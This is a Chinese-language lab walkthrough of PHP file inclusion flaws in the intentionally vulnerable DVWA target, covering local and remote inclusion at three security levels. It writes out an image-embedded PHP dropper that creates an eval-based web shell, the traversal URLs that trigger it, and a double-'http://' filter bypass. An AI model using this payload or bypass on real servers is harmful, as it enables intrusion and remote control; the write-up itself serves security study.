二、文件包含漏洞 低、中 、高三級別詳解(一句話木馬,圖片木馬)

文件包含漏洞

項目實驗環境

OWASP Broken Web Apps VM v1.2 靶場
burpsuite 代理服務器
Kali-Linux-2020.1-vmware-amd64 攻擊機
中國菜刀  連接webshell
edjpgcom  圖片注入代碼

原理與危害

文件包含漏洞:即File Inclusion ,意思是文件包含(漏洞)是,指當服務器開啓allow. _url_include選項時 ,就可
以通過php的某些特性函數( include() , require()和include_ once() , require_ once() )利用url去動態包含文
件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的allow_ url_fopen選項 (選項開啓之後, 服務器允許包含一個遠程的文件)。服務器通過php的特性(函數)去包含任意文件時,由於要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意 文件,而我們可以構造這個惡意文件來達到自己的目的。

1.文件包含(File Inclusion )即程序通過[包含函數]調用本地或遠程文件,以此來實現拓展功能
2.被包含的文件可以是各種文件格式,而當文件裏面包含惡意代碼,則會形成遠程命令執行或文件上傳漏洞
3.文件包含漏洞主要發生在有包含語句的環境中,例如PHP所具備include、require等包含函數

文件包含分爲兩類:
本地文件包含LFI ( Local File Inclusion )當被包含的文件在服務器本地時 ,就形成本地文件包含
遠程文件包含RFI ( Remote File Inclusion )當被包含的文件在第三 方服務器時,叫做遠程文件包含

vim /etc/php5/cli/php.ini php文件上傳的規則

漏洞分析:

​ 網頁開發者爲了把網站需要的php程序用正則表達式包含進來的話,寫成如下格式,而這樣就會造成把惡意木馬程序包含進來,下圖展示的是一句話木馬程序
在這裏插入圖片描述本地包含:所有包含文件都在本地 LFI local file include

外部包含:所包含的文件在外部的服務器上 RFI file include

簡單的說,如果惡意的代碼存在於本地上,就可使用LFI進行包含,從而使用一些工具進行數據挖掘,如果惡意的代碼存在於外部服務器上,就可使用RFI進行包含,從而使用工具進行數據挖掘
在這裏插入圖片描述

** 注意:**
圖片並不是單純的一句話木馬,那樣的話中國菜刀是不能進爆破的,要將圖片執行並生成webshell,從而執行惡意的木馬

低安全級別

設計說明:網頁沒有限制文件的類型等,只要存在這個實例就可以進行包含
查看頁面源代碼

<?php    $file = $_GET['page']; //The page we wish to display ?>

設計: 在本地主機上傳一個帶有一句話木馬的圖片,上傳的級別採用高級(承接之前的文件上傳的高級別的漏洞防護),由於上傳的是圖片,則後綴名就是網頁要求的格式,則可以直接進行上傳,上傳後可以正常打開圖片,但是shell代碼將不會執行,需要執行圖片包含的木馬程序,生成後門。
詳細分析圖解:
在這裏插入圖片描述文件目錄說明:

/var/www/dvwa/hackable/uploads  #文件上傳路徑
var/www/dvwa/vulnerabilities/fi  #文件包含路徑

演示:
1.本地生成一個帶有木馬程序的圖片文件,將其上傳至系統中(因爲下一步要執行的是LFI文件包含),其文件的絕對路徑是

<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[123]);?>')?> 木馬文件

/var/www/dvwa/hackable/uploads/yichen.jpg 絕對路徑

在這裏插入圖片描述
2.將圖片上產到本地系統中,但是圖片的webshell並沒有執行,要製作webshell,所以要執行圖片包含的木馬程序,生成後門,在文件包含的訪問頁面下,訪問圖片

http://192.168.211.143/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yichen.jpg
或者訪問絕對路徑 
http://192.168.211.143/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yichen.jpg
注意:
因爲用的是文件包含去執行的這個圖片木馬,又因爲木馬程序沒有指定路徑,則就被包含到了這個路徑下
shell20.php被LFI上傳至 /var/www/dvwa/vulnerabilities/fi 

在這裏插入圖片描述通過文件上傳可以正常打開圖片,但是並沒有執行圖片的shell
在這裏插入圖片描述在這裏插入圖片描述
文件包含頁面執行圖片shell,並在當前目錄下生成了一個shell文件
在這裏插入圖片描述在這裏插入圖片描述
3.通過菜刀連接webshell,可見與預期相符

http://192.168.211.143/dvwa/vulnerabilities/fi/shell20.php

在這裏插入圖片描述在這裏插入圖片描述

中安全級別

**分析:**通過查看後臺的php代碼 ,不難發現,其網頁將http://與https://換成了空字符導致遠程連接文件包含時不能識別遠程服務器的IP地址

**解決:**寫兩個http://,即第一個被置換成 空字符,而第二個正常使用,這個函數只是將連續的http://字符來進行替換,還可以寫成hhttp://ttp://

查看網頁源代碼:

<?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        

?>

高安全級別

查看網頁的後臺語言,可見,其限制了文件包含的名字,這當然也是可以進行注入木馬程序的,直接將創建木馬程序的文件名規定爲頁面限制的即可,這個對於頁面來說,當然是不利的,這個是寫死的代碼,不利於後期的擴展與維護

<?php              
     $file = $_GET['page']; //The page we wish to display       
	// Only allow include.php     
	if ( $file != "include.php" ) {         
        echo "ERROR: File not found!";        
        exit;     }          
?>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章